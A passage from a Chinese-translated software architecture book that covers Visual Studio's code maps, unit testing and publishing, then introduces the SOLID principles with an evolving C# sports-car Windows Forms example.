如果你倾向于遵循由OMG 通用建模语言OMG UML)(目前版本为 2.5)提出的图表,你也会发现对规范中定义的所有类型图表的出色支持(包括在 Visio 和 Visual Studio 中)。

注意

如果你感兴趣的是 UML 标准的当前状态,完整的规范可在www.omg.org/spec/UML/Current找到。

也就是说,我们可以为用例、类、活动、序列和 UML 状态机设计图表,因为所有必需的工件都包含在相关的模板和额外形状中。

只需查看更多形状/软件和数据库/软件菜单,就可以找到所有这些模板以及标准为它们定义的形状。

Visual Studio 架构、测试和分析工具

Visio 并非是唯一帮助架构师设计和组织软件项目的工具。所有版本的 Visual Studio 都包含额外的工具(取决于版本),以不同方式协助这些任务。

如果你现在使用的 Visual Studio 企业版,你将找到与此相关的三个主要菜单选项:

  • 架构:代码图生成和 UML 图形(支持我们刚才提到的所有类型图)

  • 测试:一组测试工具,包括特定、专注的对话框和工件

  • 分析:这包括 Node.js 性能分析、代码度量、代码分析等功能。

使用 Visual Studio 的应用程序架构

为了保持良好的编码速度并防止技术债务,改进应用程序的架构至关重要。此外,在决定是否进行更改以及更改的后果时,理解代码潜在更改的影响是基本的。

第一步是为当前解决方案生成代码图。您可以通过两种方式完成:从头开始生成或使用 为解决方案生成代码图 选项。如果您选择后者,将弹出一个新的 DGML 编辑器窗口,并显示一个复杂的地图,显示两个主要节点的根:我们的代码编译的 DLL 本身(WebApplication1.dll),以及另一个名为 Externals 的节点,其中包含项目中使用的 DLL 的关系。

您必须展开两个节点才能理解整个图及其关系。请参考以下截图:

使用 Visual Studio 的应用程序架构

这种类型的图在快速查看应用程序的主要元素方面非常有用。但当我们展开节点并识别我们的控制器或其他应用程序配置元素时,它就更加出色了。

由于每个节点都可以展开,我们可以继续深入,直到达到任何类的成员及其依赖项。如果您双击任何节点,将打开一个新窗口,显示匹配的源代码,并将光标定位在该成员定义的确切位置。

这种能力让我们能够清晰地看到代码及其关系,可以快速识别哪些成员被哪些成员使用,以及一个类依赖于哪些库,以及其他有用的信息。

以下截图说明了这一点,标记了两个感兴趣的因素:我们的控制器和应用程序的配置类:

使用 Visual Studio 的应用程序架构

如果您检查节点的详细信息,您会看到您可以继续深入,直到获取元素的完整详细信息。

此外,在 DGML 编辑器的 布局 子菜单中,您可以找到额外的分析器来检查循环引用、查找中心节点或识别未引用的节点。

此外,过滤器 窗口,它出现在解决方案资源管理器旁边,显示包含在图中的元素类型列表,所有元素都默认选中。为了更好地了解您拥有的内容,您可以取消选择元素,然后图表将自动更新以显示新的图表,让您能够单独更改或保存任何视图以供以后研究。

可用的功能还有很多,当你浏览编辑器的不同选项时,你会看到这些功能。

该菜单的另一个主要功能是 UML 图。它允许您基于所选的 UML 图创建一个单独的项目,即建模项目,或者将新图添加到现有项目中(参见图表):

使用 Visual Studio 的应用程序架构

类图

Visual Studio Enterprise(以及某些其他版本)最有趣的功能之一是能够从现有代码创建类图。最初它与 UML 类图相关联,但现在它直接属于类图绘制功能,作为一个单独的模板。

例如,我们可以从添加菜单中的新/类图选项为我们的项目创建一个新的类图。这将带您到一个新的编辑表面,在那里您可以拖放类(只是我们的类,而不是它们存储的文件)。

编辑器将逆向工程我们的类,因此我们可以通过三个简单的动作轻松地拥有我们的控制器图,并得到如图所示的图形:

类图

总体而言,我们有一个完整的基础设施来表达我们解决方案的细节并符合生命周期框架:要么我们使用 MSF,要么使用任何其他选项。

测试

测试是关于检查产品的质量。许多技术允许程序员测试软件,尽管最初的动作应该精确地定义要测试的内容。

测试有许多方法:单元测试、回归测试、行为测试、集成测试、循环复杂度测试等,尽管单元测试可能是程序员中使用最广泛的。

单元测试通过测试者使用与解决方案其余部分相同语言表达的句子所建立的某些断言,来验证函数的正确性。

小贴士

注意,这并不保证代码单元是正确的;它只保证它通过了测试所断言的条件。

在敏捷开发模型(以及在极限模型中),开发阶段的一部分遵循测试驱动设计范式。在该模型中,您测试实现单元(函数、类或模块),期望单元以正确执行的方式驱动后续的代码。

在名为行为驱动设计(或BDD)的替代模型中,我们通过行为来理解用例是如何被解决和完成的,这为过程提供了一个协作背景,将结果扩展到非程序员(例如,可以与团队模型的用户体验部分共享),难以遗忘

Visual Studio 提供了广泛的测试支持,专注于单元测试和最流行的测试技术。让我们通过一个新的 ASP.NET MVC 应用程序来回顾它是如何工作的。

在 Visual Studio 中测试我们的应用程序

在 Visual Studio 中测试我们的应用程序的推荐步骤是创建我们的应用程序,并在创建时指出我们将使用测试项目。

为了简化这个解释,同时让你更容易检查这个功能,我将创建另一个 MVC 项目,但这次,我会确保从一开始就与主项目并行选择一个测试项目(参考以下截图):

在 Visual Studio 中测试我们的应用程序

小贴士

虽然这不是绝对必要的,但强烈建议你为测试创建一个单独的项目。如果你认为测试与 Team Foundation Server 集成得非常好,这也会帮助团队的其他成员,你可以编程测试的节奏和类型,分配结果的责任等等。

在测试项目中,默认创建了一个名为 HomeControllerTest 的新类来测试 Home 控制器。它包含三个方法,与控制器中包含的操作方法同名。

然而,请注意,类和方法分别用属性 TestClassTestMethod 标记。这表明测试引擎,哪些成员是测试目标的一部分,哪些应该仅被视为在测试过程中协作的辅助元素。

现在,是时候编译解决方案(两个项目)并打开位于 测试/窗口 菜单中的 测试资源管理器 窗口了。几秒钟后,测试引擎将检测到解决方案中所有可用的测试,并在即将出现的列表中显示它们。

注意,你会看到一个菜单,让你运行所有测试或仅运行选定的测试,甚至创建一个播放列表,其中你可以指定你想要证明的确切测试(一次性完成)。

如果你只选择一个测试并运行它,当测试成功时,它将被标记为 通过,并将显示一个新列表,列出已通过和待定的测试。例如,在执行 About 方法的测试后,你应该看到如下内容:

在 Visual Studio 中测试我们的应用程序

使用 运行所有 选项后,三个测试应该通过并显示为正确。然而,如果出了问题怎么办?为了检查发生了什么,将 About 测试方法中的字符串更改为任何其他字符串,并保存代码。

重新编译后,你会了解到测试不会显示为通过;如果你运行测试,它将会失败,测试资源管理器的第二个窗口将显示一个引用列表,指出出了什么问题,以便给你提供如何解决问题的线索。

请记住,测试可以像其他任何代码一样进行调试。这肯定会给你更多关于测试和代码中存在问题的线索。

另一个需要考虑的方面是,您的测试项目必须添加对要测试的项目以及命名空间的引用,例如使用 Microsoft.VisualStudio.TestTools.UnitTesting。在这个演示项目中,Visual Studio 默认会这样做,但如果您添加一个新的测试项目,这些引用将取决于您:

在 Visual Studio 中测试我们的应用程序

最后,让我们提一下,您可以使用几种不同的断言(检查 Assert 类之后的 Intellisense),并且您还可以选择不同的测试环境。在 扩展和更新 菜单中搜索测试将显示 Visual Studio 承认的许多其他测试框架,例如 NUnit 测试、Jasmine、Karma 等。

其中一些(例如 NUnit)也适用于 C#,而其他一些则专注于其他语言,如 Jasmine 和 Karma,它们在测试 JavaScript 解决方案时非常受欢迎。

分析 菜单

分析 菜单让您可以计算代码度量(如循环复杂度、继承深度、类耦合等),这些度量提供了对代码质量的其他方面或视角。

您还可以使用项目属性窗口中的 代码分析 配置在代码中查找不准确之处(我们已在 第四章 中对此进行了评论,比较编程方法)。

生命周期结束 – 发布解决方案

发布(部署)是治理模型的最终步骤,可能会导致新版本或升级。

另一种常见的可能性是进入维护时间,在此期间会提出新的修改,整个周期再次开始——但功能范围(以及因此涉及的团队成员数量)将大大减少。

Visual Studio 允许您根据应用程序类型以不同的方式发布解决方案。此外,我们还可以使用第三方版本,这些版本只需要免费注册,例如 IDE 在 其他项目 部分提供的轻量级 InstallShield 版本。

对于 Web 应用程序,有许多选项。您可以使用 Team Foundation Server 配置部署,或者在这种情况下,我们可以探索如何直接从 IDE 部署此演示。

只需在 构建 菜单中选择 发布(或右键单击项目),就会显示一个新窗口 发布 Web,其中包含主要选项:

生命周期结束 – 发布解决方案

需要配置文件,您可以选择以前的配置文件发布(如果已定义)或选择 自定义 选项,给它命名,并选择发布目标:Web DeployWeb Deploy 包FTP文件系统

如果你想在实际实施之前尝试结果,文件系统选项很有用。创建一个新的文件夹作为目标位置,并指示助手将应用程序发布到那里。

如果一切顺利(你将在输出窗口中收到通知),所有必需的文件(包括二进制文件)都将被复制到目标文件夹,你将能够检查是否缺少任何内容,并在完成前对过程进行修改。

摘要

在本章中,我们探讨了应用程序的生命周期过程,从回顾微软的解决方案框架及其基本建议和指南开始。

通过 MSF,我们探讨了团队和治理模型的特点以及如何配置我们开发人员的角色和责任以及应用程序的主要资产。

我们还研究了适用于风险模型设计的主要原则以及评估应用程序风险的所用技术。

然后,我们回顾了 Visio 提供的许多选项,以便创建能够直观表达我们应用程序不同方面的交付成果。

最后,我们涵盖了 Visual Studio Enterprise Edition 中可用应用程序的架构、测试和部署的其他方面。

在下一章中,我们将继续讨论项目,但这次的重点将是代码的质量以及良好的实践、已知的建议、软件模式等如何帮助你进行更好的软件设计,以改善解决方案的稳定性和维护性。

第十章。设计模式

在本章中,我们不是关注管理解决方案生命周期(有时称为开发生态系统)所需的架构和工具,而是关注代码及其结构在效率、精确性和可维护性方面的质量。

我们将从 Robert Martin 提出的 SOLID 原则开始,这些原则越来越受到认可,并且我们可以看到它们在不同的框架和技术中得到实施。

将使用一个基本应用程序来展示不同的原则,随着需求的演变,我们将应用不同的原则和模式来解决问题。

最后,我们将根据统计数据回顾 Gang of Four(四人帮)最常用的八种模式,修订其定义和目的,以完成 GoF 小组发布书籍后创建和发布的当前可用模式列表。

因此,本章涵盖的主题如下:

  • SOLID 原则

  • 开放/封闭原则

  • Liskov 替换原则

  • 接口隔离原则

  • 依赖倒置原则

  • 设计模式

  • 其他软件模式

  • 其他模式

起源

随着时间的推移,编程技术随着语言和硬件的发展而发展;因此,从 20 世纪 60 年代初的初始混乱,当时没有建立基础,考虑的模型很少,70 年代标志着其他范式的采用开始,如过程式编程,后来又出现了面向对象编程OOP)。

Ole-Johan Dahl 和 Kristen Nygaard 最初在挪威计算中心工作时,提出了使用 Simula 语言的面向对象编程(OOP)。他们因这些成就获得了图灵奖以及其他认可。

几年后(大约 1979 年),Bjarne Stroustrup 创建了带有类的 C 语言,这是今天 C++的原型,因为他认为 Simula 中有价值的一面,但他认为它对于实际应用来说太慢了。C++最初具有命令式特征、面向对象和泛型特征,同时提供用于低级内存操作编程的能力。

它是第一个被普遍采用(尽管数量有限)的面向对象编程语言,由于其许多优点,但许多人认为它不足以用于商业应用。

随后,Java 和.NET 平台的出现为许多程序员提供了一个更容易、更经济的解决方案,同时仍然在面向对象编程语言所倡导的有序空间内发展。

因此,面向对象编程(OOP)被采纳,并且直到今天,没有其他重要的编程范式能够替代这些思想。当然,还有其他方法,比如函数式编程,但即使是这一趋势的最显著代表 JavaScript,在最新版本(ECMAScript 2015)中也变得更加面向对象。

随着软件解决方案的加速扩展,我们学到了许多关于如何正确处理常见软件问题的经验教训,这将是我们的起点。

SOLID 原则

一些编程指南具有广泛、通用的目的,而另一些则是为了解决某些特定问题而设计的。因此,在讨论具体问题之前,我们应该回顾那些可以在许多不同场景和解决方案中应用的特征。我的意思是那些应该超越解决方案类型或特定平台编程的考虑原则。

此外,这就是 SOLID 原则(以及其他相关问题)发挥作用的地方。在 2001 年,罗伯特·马丁(Robert Martin)发表了一篇关于该主题的基础性文章(butunclebob.com/ArticleS.UncleBob.PrinciplesOfOod),在其中他挑选了一套原则和指南,用他自己的话说,非常紧密地关注依赖管理,其不便之处以及如何解决这些问题。

用他的话进一步解释,糟糕的依赖管理会导致代码难以更改、脆弱且不可重用。可重用性是面向对象编程的主要原则之一,与可维护性(随着项目增长而改变的能力:继承的一个目的)并列。

总体来说,有 11 个原则需要考虑,但它们可以分为三个领域:

  • SOLID 原则,涉及类设计

  • 其余的原则,关于包的:其中三个关于包的内聚性,另外三个研究包之间的耦合以及如何评估包结构

我们将从 SOLID 原则开始,这些原则不仅影响类设计,还影响其他架构。

例如,应用这些想法中的某些内容为 HTML5 构建中的某些最重要的修改铺平了道路。

应用SRP单一职责原则),从中衍生出更一般的设计原则——关注点分离,仅强调了完全分离表示(CSS)和内容(HTML)的需要,以及随后一些标签(<cite><small><font>等)的弃用。

注意

其中一些上述标签已被弃用,不推荐作为表示功能,但它们保留在标准中,是因为它们的语义价值,例如<b><i><small>等。

这适用于一些流行的框架,例如 AngularJS,它不仅考虑了单一职责原则,还基于依赖倒置原则(SOLID 中的D)。

下一个图表总结了五个原则的首字母及其对应关系:

SOLID 原则

维基百科中关于该缩写每个字母的解释如下:

  • S - 单一职责原则:一个类应该只有一个职责(也就是说,只有软件规范的一个潜在变化能够影响类的规范)。马丁表示,这个原则基于之前由汤姆·德·马尔科在《结构化分析和系统规范》一书中以及梅利尔·佩奇-琼斯在他的著作《结构化系统设计实用指南》中定义的凝聚性原则。

  • O - 开放/封闭原则:软件实体应该对扩展开放,但对修改封闭。伯特兰·迈耶是第一个提出这一原则的人。

  • L - Liskov 替换原则程序中的对象应该可以用其子类型实例替换,而不会改变该程序的正确性。芭芭拉·利斯科夫首先提出了这个原则。

  • I - 接口隔离原则许多针对特定客户端的接口比一个通用接口更好。罗伯特·C·马丁是第一个使用并制定这一原则的人。

  • D - 依赖倒置原则我们应该“依赖于抽象”。不要依赖于具体实现。这个想法也是由罗伯特·C·马丁提出的。

单一职责原则

对于单一职责原则(SRP),基本陈述在这种情况下是一个类不应该有超过一个改变的理由。在这种情况下,职责被定义为改变的理由。如果在任何情况下,出现多个理由来改变类,那么类的职责是多个的,应该重新定义。

这确实是最难正确应用的原则之一,因为正如马丁所说,合并职责是我们自然而然做的事情

在他的书《敏捷原则、模式和 C#实践》中,马丁提出一个典型的例子来展示差异,如下所示:

interface Modem
{
  public void dial(String phoneNumber);
  public void hangup();
  public void send(char c);
  public char recv();
}

给定前面的接口,任何实现这个接口的类都有两个职责:连接管理和通信本身。这样的职责可以从应用程序的不同部分使用,而这些部分也可能随之改变。

与此代码结构不同,马丁提出了不同的图示:

单一职责原则

然而,人们可能会想,这两个职责是否应该分开?这完全取决于应用的变化。更准确地说,关键在于知道应用的变化是否会影响连接函数的签名。如果会,我们就应该将两者分开;否则,没有必要分开,因为那样会创造不必要的复杂性。

因此,总的来说,变化的原因是关键,但请记住,变化的原因只有在发生变化时才适用。

在其他情况下,只要它们与业务定义紧密相关或与操作系统的硬件要求有关,就有理由将不同的职责保持在一起。

一个例子

让我们假设我们需要创建一个简单的 Windows Forms 应用程序(我们选择这个模型是为了简单,以避免不必要的 XAML),该应用程序能够向用户提供几款汽车(实际上,只有三个不同的品牌),并且应用程序应该显示所选汽车的最高速度和照片。

稍后,我们可以从类层次结构中派生出不同的版本,这些版本能够覆盖不同的特征,具体包括业务模型或法律条件等。

因此,第一步是根据指示表示将覆盖之前提到的要求的用户界面。我设计了一个非常简单的 Windows 窗体,如下面的截图所示:

一个示例

我们处理的是三个(或更多)品牌,并且可选地有一个地方来显示最大速度值。我们还包括了一个加速按钮,以便我们可以验证汽车永远不会超过其最大速度限制。最后,照片将提醒我们我们正在处理的是哪款汽车。

因此,我们计划定义一个名为SportCar的类,在这个类中,我们将抽象出从 UI 管理所需元素,并且为了使事情更清晰,我们首先创建一个接口,ISportCar,它声明了必需的条件。

我们可以使用类图工具创建一个定义了四个属性和一个方法(Accelerate,它将改变用户界面中的Speed属性)的接口:BrandMaxSpeedPhotoSpeedAccelerate。因此,最终的代码如下:

interfaceISportCar
{
  bool Accelerate();
  System.Drawing.Bitmap Photo { get; }
  string Brand { get; }
  int Speed { get; }
  int MaxSpeed { get; }
}

使用类图工具,我们可以创建一个SportCar类并将其链接到接口,以便声明依赖关系。稍后,使用 IDE 创建的基本类声明,我们可以继续进行源代码,并选择实现接口选项,以便为我们实现具有接口的类。

为了简单起见,一些触摸可能会让我们得到以下初始代码:

public class SportsCar : ISportCar
{
  public string Brand { get; }
  public int MaxSpeed { get; }
  public Bitmap Photo { get; }
  public int Speed { get;privateset; }
  public virtual bool Accelerate()
  {
    throw new NotImplementedException();
  }
}

注意,所有属性都是只读的,因为除了一个之外,所有属性都应该在创建时设置,而唯一会改变的方法(Speed)必须只能通过使用Accelerate方法(声明为虚拟以便允许进一步继承)来改变。此方法返回一个布尔值以指示极限条件:MaxSpeed超过。这就是为什么它被声明为私有设置。

在图形方面,我们(现在已修改)的图表应该揭示代码片段的依赖关系和成员:

一个示例

因此,最初,这个类只负责管理SportCar类实例的状态。这意味着业务逻辑:法拉利看起来像法拉利,不像宝马,每个都有自己的属性(在这个例子中是MaxSpeedSpeed)。除了用户界面或存储状态之外,其他任何与这里无关的内容都不应该被考虑。

接下来,我们需要一个构造函数来强制执行之前提到的一些原则。它应该解析所有不可变属性;因此,当创建类时,它们被分配了适当的值。

在这里,我们面临另一个问题:我们的类如何知道可能的品牌?这里有几种方法,但一个简单的方法是声明一个内部数组,定义允许的品牌,并让构造函数检查在构造中建议的品牌是否是我们类可以管理的品牌之一。

注意,我已经在应用程序的资源文件中包含了三个与三个品牌对应的简单图片。这是一个依赖项。如果需要考虑第四个品牌,我们应该将构造函数更改为提供这项附加功能,但为了简单起见,让我们假设目前不会发生关于汽车数量业务逻辑的变化。

考虑到所有这些,我们将以下代码添加到我们的类中:

string[] availableBrands = new string[] { "Ferrari", "Mercedes", "BMW" };
public SportsCar(string brand)
{
  if (!availableBrands.Contains(brand)) return;
  else Brand = brand;
  switch (brand)
  {
    case "Ferrari":
      MaxSpeed = 350;
      Photo = Properties.Resources.Ferrari;
    break;
    case "Mercedes":
      MaxSpeed = 300;
      Photo = Properties.Resources.Mercedes;
    break;
    case "BMW":
      MaxSpeed = 270;
      Photo = Properties.Resources.BMW;
    break;
  }
}

通过这种方式,我们得到了我们类的操作(尽管是不完整的)版本。现在,在用户界面中,我们应该声明一个SportCar类的变量,并在用户使用cboPickUpCar组合框更改品牌时实例化它。

实际上,一旦创建了汽车,我们还需要更新 UI,以便它反映汽车(其状态)的属性。并且它应该与每个可用的品牌的属性保持一致。

这段简单的代码就完成了这项任务:

SportsCar theCar;
private void cboPickUpCar_SelectedIndexChanged(object sender, EventArgs e)
{
  theCar = new SportsCar(cboPickUpCar.Text);
  // refresh car's properties
  txtMaxSpeed.Text = theCar.MaxSpeed.ToString();
  pbPhoto.Image = theCar.Photo;
}

现在,我们有一个工作正常的第一版本,但我们的类需要具有更改Speed属性的能力。因此,我们在Accelerate方法中添加了一些代码:

public virtual bool Accelerate()
{
  bool speedExceeded = Speed + SpeedIncr > MaxSpeed;
  Speed = (speedExceeded) ? Speed: Speed + SpeedIncr;
  return speedExceeded;
}

就这样。我们现在应该在 UI 中反映这些更改,这相当直接:

private void btnAccelerate_Click(object sender, EventArgs e)
{
  theCar.Accelerate();
  updateUI();
}
private void updateUI()
{
  txtSpeed.Text = theCar.Speed.ToString();
}

最终结果应该按预期工作(参考截图)。你可以从不同的品牌中选择,每次新的选择都会引发SportCar类的新实例化。

我们可以在运行时看到所有属性,唯一的可变属性(Speed)仅从Accelerate方法中更改,现在它有一个独特的责任。

然而,由于这项责任涉及到业务逻辑,它还检查是否发生了超出允许速度的尝试,并避免检查速度增加的可能值的案例(我们在类的初始声明中为该速度假设了一个常数值)。你应该看到以下类似的输出:

一个示例

现在,让我们考虑一些在提出更改时可能出现的可能情况。这是下一个原则开始发挥作用的时候,它处理的是在出现新条件时如何管理需求。

开放/封闭原则

当模块的结果变化导致影响依赖模块的连锁反应时,我们可以检测到需要使用这个原则。这种设计被认为过于不灵活。

开放/封闭原则OCP)建议我们应该以未来更改不会引发进一步修改的方式重构应用程序。

正确应用这个原则的形式是通过添加新代码(例如,使用多态)来扩展功能,而永远不改变已经工作的旧代码。我们可以找到几种实现这个目标的方法。

注意,当你有明确、独立的模块(DLLs、EXEs 等)依赖于要更改的模块时,封闭于修改特别有意义。

另一方面,使用扩展方法或多态技术允许我们在不影响其余部分的情况下对代码进行更改。例如,考虑 C# 语言自 3.0 版本以来可用的扩展方法。你可以将扩展方法视为一种特殊的静态方法,区别在于它们被调用时就像它们是扩展类型的实例方法一样。你可以在 LINQ 标准查询运算符中找到一个典型例子,因为它们向现有类型添加了查询功能,例如 System.Collections.IEnumerableSystem.Collections.Generic.IEnumerable<T>

这种模式的经典和最简单的例子是客户端/服务器耦合,这在多年的开发中很常见。客户端最好依赖于服务器的抽象,而不是具体实现。

这可以通过接口来实现。服务器可以实现一个客户端接口,客户端将使用它来连接到服务器。这样,服务器可以改变,而不会影响客户端使用它们的方式(参考下一张图):

开放/封闭原则

任何客户端接口的子类型都可以自由地以它认为更合适的方式实现接口,只要它不破坏其他客户端的访问。

回到我们的示例

现在,让我们想象一下,奔驰公司宣布对其车型进行更改,这使得你可以在用户因为汽车接近速度限制而处于危险时收到通知。

初看之下,有些人可能会考虑修改 Accelerate 方法,以包含一个可以将其情况传达给使用它的任何用户界面的事件。

然而,这会违反 OCP,因为当前版本已经运行良好。这是多态有用的一例。

我们可以创建 Accelerate 方法的另一个重载来允许这样做。它可以接收一个参数(品牌),以标识调用是否来自奔驰,并启动一个事件调用,这样任何客户端都可以相应地行动。

我将在一个新的项目中复制这个项目,并给它另一个名称,这样你就可以根据情况始终拥有不同的版本(例如 Demo2-OCP):

public virtual bool Accelerate(bool advise)
{
  bool speedExceeded = Speed + SpeedIncr > MaxSpeed;
  Speed = (speedExceeded) ? Speed : Speed + SpeedIncr;
  if (speedExceeded && advise && (SpeedLimit!= null))
  {
    SpeedLimit(this, newEventArgs());
  }
  return speedExceeded;
}
public event EventHandler SpeedLimit;

正如你所见,我们声明了一个新的事件成员(SpeedLimit),如果布尔值为 true,则调用该事件。

由于事件是通知而不是直接调用用户界面的函数,UI 可以自由订阅所需的事件。

在用户界面中,我们应该订阅 SpeedLimit 事件,并按以下方式修改我们的 btnAccelerate_Click 事件处理器来处理这种情况:

private void btnAccelerate_Click(object sender, EventArgs e)
{
  if (theCar.Brand == "Mercedes")
  {
    theCar.Accelerate(true);
  }
  else { theCar.Accelerate(); }
  updateUI();
}

在实例化过程中,订阅相当简单,我们也可以让 IDE 为我们创建 SpeedLimit 事件处理器:

theCar.SpeedLimit += TheCar_SpeedLimit;
private void TheCar_SpeedLimit(object sender, EventArgs e)
{
  MessageBox.Show("Speed limit attempted");
}

注意,我在尽可能简化代码,因为这里的重点是展示与 SOLID 原则一致的编码实践。

当我们执行此代码时,我们可以观察到——仅针对奔驰——如果我们尝试传递速度限制,会出现一个弹出消息框,表明情况(参考截图)。其他品牌不受影响:

回到我们的示例

然而,正如我们提到的,.NET 框架也在不同的命名空间中使用了这些模式和其它模式,这还包括我们接下来将要看到的 LSP 原则。

Liskov 替换原则

让我们记住这个定义:子类型必须可替换为其基类型。这意味着这应该在不破坏执行或丢失任何其他类型的功能的情况下发生。

你会注意到这个想法是面向对象编程范式继承基本原理背后的。

如果你有一个需要 Person 类型参数的方法(让我们这样表述),你可以传递一个继承自 Person 的另一个类的实例(例如 EmployeeProvider 等)。

这是设计良好的面向对象语言的主要优势之一,最受欢迎和接受的语言支持这一特性。

再次回到代码

让我们看看我们示例中的支持情况,其中出现了一个新的需求。实际上,我们的演示只是调用了奔驰车的订阅者,并通知他们发生了 SpeedLimit 事件。

然而,如果我们需要知道那个情况发生的时间点和我们试图获得的速度呢?也就是说,如果我们需要更多关于事件的详细信息呢?

在当前状态下,SpeedLimit 事件除了发送者(指代调用源)之外,不会向调用者传递任何信息。但我们可以利用 C# 语言内固有的 Liskov 替换原则的实现,传递一个包含所需信息的 EventArgs 派生类,上下文应该能够很好地管理它。

因此,第一步是从 EventArgs 继承并创建一个新的类,以便能够包含所需的信息:

public class SpeedLimitData : EventArgs
{
  public DateTime moment { get; set; }
  public int resultingSpeed { get; set; }
}

我们还需要更改事件调用,以便在调用事件之前恢复必要的信息。这样,新的 Accelerate 版本——仍然完全兼容之前的版本——将如下所示:

public virtual bool Accelerate(bool advise)
{
  bool speedExceeded = Speed + SpeedIncr > MaxSpeed;
  Speed = (speedExceeded) ? Speed : Speed + SpeedIncr;
  if (speedExceeded && advise && (SpeedLimit!= null))
  {
    SpeedLimitData data = newSpeedLimitData()
    {
      moment = DateTime.Now,
      resultingSpeed = Speed + SpeedIncr
    };
    SpeedLimit(this, data);
  }
  return speedExceeded;
}

因此,当我们调用SpeedLimit时,我们正在向任何订阅者发送业务逻辑信息,无论是从 UI 还是其他地方。因此,我们可以将EventArgs类的派生实例传递给事件,而不会在 UI 的编辑器(或编译器)中引起任何抱怨。

最后一步是将用户界面更改以恢复传递给它的数据,并以修改后的先前MessageBox调用的形式呈现:

private void TheCar_SpeedLimit(object sender, EventArgs e)
{
  var eventData = e as SpeedLimitData;
  MessageBox.Show("Attempt to obtain " + eventData.resultingSpeed +
  " Miles//hr at: " + eventData.moment.ToLongTimeString(), "Warning",
  MessageBoxButtons.OK, MessageBoxIcon.Warning);
}

这次,当我们选择一辆梅赛德斯汽车并尝试超过限制时,我们在MessageBox中得到了一个更详细的信息报告:

再次回到代码中

多亏了 Liskov 替换原则的支持,我们能够以最小的努力添加行为和信息,知道接收信息的 UI 会执行简单的转换,将基本的EventArgs声明转换为实际传递给事件处理器的扩展SpeedLimitData事件。

.NET 中 LSP 的其他实现(泛型)

这不是我们在.NET 中找到的唯一 LSP 原则的实现,因为框架的不同领域都是使用这种概念增长的。例如,泛型是 LSP 的好处之一。

在我们的样本中,我们可以创建一个通用版本的事件,以便非常容易地管理额外信息。想象一下,除了在梅赛德斯案例中采取的私人措施之外,现在所有品牌都希望在达到法定速度限制时支持消息传递。

这会影响SpeedCar的任何实例。这不是强制性的(它不会强迫你停止增加速度,但它会显示关于这种条件的另一个警告)。

由于它对所有品牌都有影响,我们可以在SpeedCar类中添加一个新事件,但这次我们将其定义为泛型,以支持额外信息:

public eventEventHandler<int> LegalLimitCondition;

假设速度法定限制值是美国某些州允许的最大值(80 英里/小时)。我们将定义一个新的常量MaxLegal,具有这个值:

const int MaxLegal = 80;

现在,为了反映这个新条件,我们应该修改我们的Accelerate方法,以包括在汽车超过法定值时的前一个调用,指示超出的量:

public virtual bool Accelerate()
{
  bool speedExceeded = Speed + SpeedIncr > MaxSpeed;
  bool legalExceeded = Speed + SpeedIncr >MaxLegal;
  if (legalExceeded && LegalLimitCondition != null)
  {
    LegalLimitCondition(this, (Speed + SpeedIncr) - MaxLegal);
  }
  Speed = (speedExceeded) ? Speed: Speed + SpeedIncr;
  return speedExceeded;
}
public virtual bool Accelerate(bool advise)
{
  bool speedExceeded = Speed + SpeedIncr > MaxSpeed;
  bool legalExceeded = Speed + SpeedIncr > MaxLegal;
  if (legalExceeded && LegalLimitCondition != null)
  {
    LegalLimitCondition(this, (Speed + SpeedIncr) - MaxLegal);
  }
  if (speedExceeded && advise && (SpeedLimit!= null))
  {
    SpeedLimitData data = newSpeedLimitData()
    {
      moment = DateTime.Now,
      resultingSpeed = Speed + SpeedIncr
    };
    SpeedLimit(this, data);
  }
  Speed = (speedExceeded) ? Speed : Speed + SpeedIncr;
  return speedExceeded;
}

这就是你需要与SpeedCar类一起做的所有工作。其余的将是用户界面的更新;因此,对于任何汽车,当条件启动时,另一个MessageBox调用会警告用户关于该条件。

以这种方式,我们现在为每个汽车注册LegalLimitCondition事件,并让 IDE 为我们生成相关的事件处理器:

theCar.LegalLimitCondition += TheCar_LegalLimitCondition;
private void TheCar_LegalLimitCondition(object sender, int e)
{
  updateUI(e);
}

这次,我们将参数传递给UpdateUI方法的修订版,它现在接受一个可选参数,表示速度超限:

private void updateUI(int speedExcess = 0)
{
  txtSpeed.Text = theCar.Speed.ToString();
  if (speedExcess > 0)
  {
    MessageBox.Show( "Legal limit exceeded by " + speedExcess + " mi/h");
  }
}

就这样。现在,不同的事件机制通过自定义事件系统的通知,将业务逻辑条件告知用户界面。

注意调用事件的顺序很重要,并且Speed值的最终赋值是在Accelerate方法末尾进行的,此时所有先前条件都已处理。

事件足够灵活,可以定义为允许我们通过经典定义传递自己的信息,或者——在泛型的参与下——我们可以简单地定义一个通用的事件处理器,它可以持有任何类型的信息。所有这些技术都促进了良好实践的实施,而不仅仅是 SOLID 原则。

UI 中的更改不应影响SportClass的定义;尽管其业务逻辑的使用不同,但我们尽量将类中的更改保持在最小。

在运行时,我们现在将警告任何超过之前设定的MaxLegal常数的速度超额(参考截图):

.NET 中 LSP 的其他实现(泛型)

让我们回顾 SOLID 包中剩余的两个原则:接口分离原则ISP)和依赖倒置原则DIP)。

接口分离原则

如马丁所说,这个原则处理了“胖”接口的不便问题。问题出现在当类的接口可以逻辑上分解成不同的组或方法时。

在这种情况下,如果我们的应用程序有多个客户端,那么很可能有些客户端连接到了他们从未使用过的功能。

回到我们的演示:仅仅审查定义就揭示出,从这一原则的角度来看,我们的系统存在一些缺陷。

首先,我们实现了一个仅由SportCar客户端类型使用的方法:奔驰。其他品牌不使用它。如果不同品牌出现新的条件,应该创建新的选项。

因此,这标志着我们分类汽车的方式上的一个差异:那些通知用户界面关于SpeedLimit的汽车和那些不通知的汽车。我们应该首先重新定义我们的ISportCar接口,使其仅涵盖任何客户端都常用的方面。这包括LegalLimitCondition事件,但不包括SpeedLimit事件。

因此,我们将有这个实现:

interface ISportCar
{
  bool Accelerate();
  System.Drawing.Bitmap Photo { get; }
  string Brand { get; }
  int Speed { get; }
  int MaxSpeed { get; }
  eventEventHandler<int> LegalLimitCondition;
}

SportCar的新版本将仅实现方法的Accelerate重载,触发LegalLimitCondition事件但不触发SpeedLimit事件,这对于奔驰是合适的:

public virtualbool Accelerate()
{
  bool speedExceeded = Speed + SpeedIncr > MaxSpeed;
  bool legalExceeded = Speed + SpeedIncr > MaxLegal;
  if (legalExceeded && LegalLimitCondition != null)
  {
    LegalLimitCondition(this, (Speed + SpeedIncr) - MaxLegal);
  }
  Speed = (speedExceeded) ? Speed: Speed + SpeedIncr;
  return speedExceeded;
}

注意,我们仍然控制MaxSpeed,只是我们不采取任何行动,避免超过最大值。

